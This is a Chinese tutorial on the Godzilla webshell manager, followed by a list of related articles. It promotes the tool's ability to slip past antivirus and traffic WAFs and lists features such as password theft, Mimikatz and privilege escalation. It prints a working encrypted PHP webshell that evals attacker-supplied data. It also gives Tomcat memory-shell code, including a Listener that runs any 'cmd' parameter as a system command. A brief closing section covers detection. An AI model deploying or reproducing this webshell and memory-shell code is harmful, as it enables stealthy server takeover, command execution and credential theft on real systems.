哥斯拉加密WebShell过杀软
一、哥斯拉(Godzilla Shell)简介
哥斯拉是继菜刀、蚁剑、冰蝎之后具有更多优点的Webshell管理工具,由java语言开发,如名称一样,他的“凶猛”之处主要体现在:
1、哥斯拉全部类型的shell均过市面所有静态查杀。
2、静态免杀这个问题,要客观;工具放出来之后可能会免杀一段时间,后来就不行了,但是,改改代码还能继续过狗。重点还是要看流量加密和一些自带的插件。
3、哥斯拉流量加密能过市面全部流量waf。
4、哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的。
如此简单的操作界面,实际效果和功能可绝不简单。
它能实现的功能除了传统的命令执行、文件管理、数据库管理之外,根据shell类型的不同还包括了:
- MSF联动
- 绕过OpenBasedir
- ZIP压缩 ZIP解压
- 代码执行
- 绕过 DisableFunctions
- Mimikatz
- 读取服务器 FileZilla Navicat Sqlyog Winscp XMangager 的配置信息以及密码
- 虚拟终端 可以用netcat连接
- Windows权限提升 (2012-2019烂土豆)
- 读取服务器 谷歌 IE 火狐 浏览器保存的账号密码
- Windows权限提升烂土豆的C#版本 甜土豆
- 支持 哥斯拉 冰蝎 菜刀 ReGeorg 的内存shell 并且支持卸载
- 屏幕截图
- Servlet管理 Servlet卸载
- 内存加载Jar 将Jar加载到 SystemClassLoader
二、管理工具安装与使用
哥斯拉下载与安装
下载地址:Release v3.03-godzilla · BeichenDream/Godzilla · GitHub
GodZilla 的运行环境:JDK 1.8
2、双击 Godzilla.jar 运行 程序之后 会在 同目录下 生成 data.db 数据库存放数据。
哥斯拉使用方法
① 哥斯拉的马(Webshell)已经内置了Payload以及加密器,是需要自己配置的 。
双击Godzilla.jar打开,此时会在同目录下生成data.db数据库存放数据。
哥斯拉支持jsp、php、aspx等多种载荷,java和c#的载荷原生实现AES加密,PHP使用亦或加密。生成时需要记住自己的生成配置用以链接时用。
点击"管理”->“添加”生成所需的webshell:
1.哥斯拉支持 jsp、php、aspx 等多种载荷。
2.java 和 c# 的载荷原生实现 AES 加密,PHP使用亦或加密。
3.生成时需要记住自己的生成配置用以连接时使用。
4.记得点击生成。
② 把生成的脚本放到了D盘下,起名为:ace.php。
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}
$pass='verter';
$payloadName='payload';
$key='cb42e130d1471239';
if (isset($_POST[$pass])){$data=encode(base64_decode($_POST[$pass]),$key);if (isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);eval($payload);echo substr(md5($pass.$key),0,16);echo base64_encode(encode(@run($data),$key));echo substr(md5($pass.$key),16);}else{if (stripos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}
}
③ 选择DVWA 靶机,上传文件
④ 目标 → 基础配置 → 将框选的内容填写修改,有效载荷和加密器,点击测试连接。连接成功后点击添加:
⑤ 哥斯拉也有很多功能模块,比如:基本信息、文件管理、命令执行、数据库管理等等。
(1)数据库管理
相信大家在使用蚁剑的时候没少碰到过连不上数据库的情况,我自己碰到过一个环境就是shell所在的tomcat container没有jdbc的jar包依赖导致连不上数据库,偏偏蚁剑没什么好办法。而在哥斯拉中就不必担心这个问题,在数据库管理中哥斯拉会先从容器中加载可用的jdbc,如果没有就通过内存加载jar驱动来链接数据库。
(2)内存shell
内存shell模块实现了在tomcat中注册、卸载内存马。
你可以直接注册一个哥斯拉的马或者冰蝎、菜刀的马,甚至是regeorg。
比如注册一个/Godzillashell进去:
访问发现存在:
直接哥斯拉链接就行了。内存shell 无日志,会在tomcat重启后消失。
(3)屏幕截图
点截图会自动保存预览,在windows上需要shell权限够大。
(4)虚拟终端
这个功能其实是在本地监听端口,通过shell与服务器交互实现cmdshell。点击start之后执行nc 127.0.0.1 4444链接本地4444获取cmdshell。
如果不使用nc链接的话会一直占用本地4444端口。用完请exit或点击stop。
(5)JMeterpreter
三、哥斯拉通信加密分析
流量加密分析
以jsp为例,修改链接配置里的代理选项为http代理,让流量代理到Burp中。
执行dir命令的请求包:
响应包:
或许你说headers里的一些ua和Accept太扎眼了,别担心,这些可以自己配置。在shell编辑的请求配置中修改。
或者在配置–全局配置中修改。
此时在看请求包和响应包完全没有特征:
并且在请求包的thisisleftData和thisisrightData可以修改为其他杂乱数据来进行干扰。到这里还不说一句哥斯拉天下第一?
流量加密实现
选择JavaDynamicPayload。
生成一个WebShell,需要用Unicode解码才能查看代码:
字符串xc为自定义秘钥(pass)MD5的前16位。
拼接自定义的密码和秘钥获取md5值, 这里的md5值作为认证密码和密钥,主要代码逻辑如下:
抓取连接Shell地址过程数据包,一共进行了三次请求响应:
JavaAesBase64类初始化方法如下,加解密方法与生成的WebShell相对应:
四、哥斯拉流量端检测思路
围绕流量测的检测思路,因为其流量加密的特性,其实与冰蝎Shell管理工具想法大致相同,往往需要多种弱特征结合验证,如可以通过分析Shell连接过程的简单固有特征,结合数据统计分析来进行检测等。
内存马
内存马特点:文件无需落地,更加隐蔽。以tomcat为例,内存马分为以下三种:Servlet、Filter、Listener
(1)Servlet内存马
以一个简单的Servletdemo为例,访问url,查看tomcat对应的调用栈如下:
我们知道通过web.xml或者注解的方式可以配置自定义的servlet与url的映射。而在tomcat中,Wrapper等效于Servlet,即我们只要自定义的实现该逻辑,就可实现Servlet内存马。
Servlet3.0开始提供了动态注册filter、Servlet、Listener,这里不再赘述,感兴趣的可以自己调试验证下,主要逻辑为:
1.创建自定义Servlet。
2.使用Wrapper对应进行封装。
3.添加封装后的Wrapper到StandardContext的children当中。
4.添加ServletMapping将访问的URL和Servlet进行绑定。
如234步骤实现代码如下:
// 获取StandardContextorg.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();// 用Wrapper对其进行封装org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();newWrapper.setName("sangfor");newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);newWrapper.setServletClass(servlet.getClass().getName());// 添加封装后的恶意Wrapper到StandardContext的children当中standardCtx.addChild(newWrapper);// 添加ServletMapping将访问的URL和Servlet进行绑定standardCtx.addServletMapping("/sangfor","sangfor");
(3)Listener内存马
请求站点时,优先级如下,Listener -> Filter -> Servlet,Listener是最先被加载的
当设置了ServletRequestListener时,每次请求都会先进入Listener 进行逻辑判断
Listen监视器分类:
ServletContext监听, 服务启动和停止时触发
Session监听, Session初始化和销毁时触发
Request监听, 访问服务时触发
我们需要通过Request这个点来实现,即ServletRequestListener,主要逻辑:
自定义Listener
调用StandardContext对象的addApplicationEventListener方法来添加Listenner
(直接使用ApplicationContext的addListenner方法来动态添加Listener会进行web容器状态判断)
主要代码如下:
//listener
ServletRequestListener demoListener = new ServletRequestListener() {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent sre) {System.out.println("requestInitialized");String cmd = sre.getServletRequest().getParameter("cmd");try{//获取sre中的requestFacade对象org.apache.catalina.connector.RequestFacade requestFacade =
(org.apache.catalina.connector.RequestFacade)sre.getServletRequest();//反射获取RequestFacade中的request对象java.lang.reflect.Field connrequestField =
org.apache.catalina.connector.RequestFacade.class.getDeclaredField("request");connrequestField.setAccessible(true);org.apache.catalina.connector.Request request =
(org.apache.catalina.connector.Request) connrequestField.get(requestFacade);//执行命令并回显String[] cmds =
!System.getProperty("os.name").toLowerCase().contains("win") ? new String[]
{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};java.io.InputStream in =
Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s = new
java.util.Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";java.io.Writer writer = request.getResponse().getWriter();java.lang.reflect.Field usingWriter =
request.getResponse().getClass().getDeclaredField("usingWriter");usingWriter.setAccessible(true);usingWriter.set(request.getResponse(), Boolean.FALSE);writer.write(output);writer.flush();}catch (Exception e){e.printStackTrace();}}
};
//获取standardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase)
Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.StandardContext standardCtx =
(org.apache.catalina.core.StandardContext)webappClassLoaderBase.getResources().
getContext();
//添加监听器
standardCtx.addApplicationEventListener(demoListener);
(4)哥斯拉Shell管理工具实现内存马
我们再回过头来看下哥斯拉Shell管理工具中内存马的实现,内部实现了不同webshell的内存马,使用jd-gui工具打开class文件,可以看到,C刀,冰蝎不同shell的实现逻辑大相径庭,根据其shell管理工具进行了修改:
(5)内存马检测
有了其攻击手段的实现,防御检测思路也不断更新替换,上述也仅仅是tomcat的实现思路,不同容器框架的具体实现也需要对应的进行封装修改,但其思路大致相同。
万变不离其宗,在主机侧,我们可以通过以下维度是进行检测:
- 攻击行为固有行为特征
- 不同于正常业务的特殊共性
- 高危敏感行为检测
网上已有不少主机侧检测思路,如:
- 核心特点均会是被加载进jvm的类,即思路为遍历获取每个类,通过类黑名单、高危风险类筛选检测
- 内存马不落地,即本地不存在对应class文件,攻击者又会在内存马中放置危险操作这两个特性,检测对应ClassLoader目录文件是否存在class文件。我们再dump对应class(如filter)进行check
我们也可以通过RASP技术注入监测阻断恶意敏感操作,也可以达到比较好的类隔离效果。
哥斯拉加密WebShell过杀软相关推荐
- 冰蝎加密 WebShell 过杀软
用Web系统语言(如:ASP.PHP.JSP等)编写的WebShell,WebShell上传服务器后当成页面被攻击者访问,常当做后门. WebShell危害 做后门: 文件.数据库操作: 修改Web ...
- 蚁剑加密 WebShell 过杀软
网络安全实战攻防演练中,只有了解攻击方的攻击思路和运用武器,防守方才能有效应对. 以WebShell 为例,由于企业对外提供服务的应用通常以Web形式呈现,因此Web站点经常成为攻击者的攻击目标.攻击 ...
- 渗透测试-菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析
菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 文章目录 菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 前言 Webshell简介 中国菜刀 菜刀webshell的静态特征 菜刀webshe ...
- 哥斯拉Godzilla webshell管理工具
简单使用方法 哥斯拉由于其可以动态加密而被广泛应用,在哥斯拉安装之前,你需要安装jdk1.8的环境.打开Godzilla.jar,便会在同目录下生成data.db数据库存放数据.也就是首页. cmd打 ...
- 哥斯拉Godzilla webshell
简单使用方法 在哥斯拉安装之前,你需要安装jdk1.8的环境.双击Godzilla.jar打开,此时会在同目录下生成data.db数据库存放数据.首页长这样 点击 管理–添加 生成所需的webshel ...
- 冰蝎shell_冰蝎动态二进制加密WebShell特征分析
概述 冰蝎一款新型加密网站管理客户端,在实际的渗透测试过程中有非常不错的效果,能绕过目前市场上的大部分WAF.探针设备.本文将通过在虚拟环境中使用冰蝎,通过wireshark抓取冰蝎通信流量,结合平时 ...
- 【每天学习一点新知识】菜刀、冰蝎、蚁剑、哥斯拉webshell工具分析
什么是webshell已经在之前的文章里做过讲解了,这里就不再赘述 附上链接:[每天学一点新知识]getshell???webshell???_RexHarrr的博客-CSDN博客 目录 中国菜刀 菜 ...
- upload-labs+哥斯拉webshell的使用
upload-labs 本实验使用哥斯拉webshell管理工具,工具我上传了资源 pass-01 文件上传漏洞主要是要上传一句话到服务器,然后得到他的权限 例如使用哥斯拉生成这句php代码,或者自己 ...
- 【网络安全】一些webshell免杀的技巧
前言 由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束. ...
最新文章
- 3.请执行命令取出linux中eth0的IP地址(考试题答案系列)
- C语言:关于socket的基础知识点
- ATen(A TENsor library for C++11)剖析(1)
- Linux-2.6.25 TCPIP函数调用大致流程
- CVPR 2021 | 大幅涨点!新型动态激活函数和轻量级网络TFNet
- virtio-fs: A Shared File System for Virtual Machines
- 汇编语言上机考试三星题——判断一个不超过65535的整数是否为质数
- 支付宝 应用网关和授权回调地址怎么配置?
- 龙芯mips64 Javajdk下载
- VBoxGuestAdditions.iso无法在virtualbox中正确安装
- 黑马乐优商城项目资源分享
- Linux 串口驱动与使用
- dos2unix 目录
- Android 和风天气+腾讯地图
- 6、域渗透中查询域用户对域成员机器关系
- 欧姆龙PLC以太网与西门子WINCC通讯
- CCF-CSP认证历年真题解(100分)
- MaxCompute SQL示例解析
- 读《三井帝国在行动》笔记
- 弘辽科技:新世相与淘宝直播合作,直播生态困局将有新突破?
热门文章
- C语言中short整型数据的范围-32768----32767是中的-32768是如何确定的
- 人工智能之目标检测系列综述
- 从中建三局 “安康杯”安全知识竞赛看竞赛软件的魔力
- 图文详解基于角色的权限控制模型RBAC
- console的方法
- Tomcat 学习系列1 Tomcat8在win7下配置与使用 和常见问题处理
- 每日一博 - 漫谈防御式编程
- 数据通信与计算机网络第二版课后题答案,数据通信与计算机网络习题答案(邢彦辰)_课后习题答案 精品...
- 同花顺2015校园招聘笔试题
- python函数查询作用_Python函数